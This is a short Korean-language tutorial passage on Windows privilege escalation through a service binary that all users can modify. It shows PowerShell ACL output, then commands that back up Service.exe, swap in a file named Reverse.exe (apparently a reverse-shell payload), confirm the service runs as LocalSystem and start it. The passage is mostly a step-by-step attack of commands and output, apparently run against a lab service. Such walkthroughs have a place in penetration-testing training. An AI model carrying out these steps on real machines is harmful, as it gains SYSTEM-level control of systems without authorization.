바이너리 자체에 대해 약한 권한이 존재하는 경우 이용 가능한 권한 상승 취약점입니다.
# Service.exe 파일에 대한 권한 확인
PS C:\> Get-Acl -Path "C:\Service.exe" | fl
...
Access : BUILTIN\Users Allow Modify, Synchronize
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
DESKTOP-FNN8KU3\Mick3y Allow FullControl
...
명령어 결과에서 확인할 수 있듯이 Service.exe 파일은 모든 유저가 수정할 수 있는 권한이 있습니다.
이 공격을 하기 전에는 기존의 바이너리를 백업한 뒤, 서비스를 종료해야 합니다.
# 기존 서비스 백업 및 악성 바이너리 이름 변경
PS C:\> mv .\Service.exe ServiceBack.exe
PS C:\> mv .\Reverse.exe Service.exe
PS C:\> sc.exe qc VulnServiceTest
[SC] QueryServiceConfig 성공
SERVICE_NAME: VulnServiceTest
종류 : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Service.exe
LOAD_ORDER_GROUP :
태그 : 0
DISPLAY_NAME : Vulnerable Test Service
종속성 :
SERVICE_START_NAME : LocalSystem
# 변경된 악성 바이너리 서비스 실행
PS C:\> sc.exe start VulnServiceTest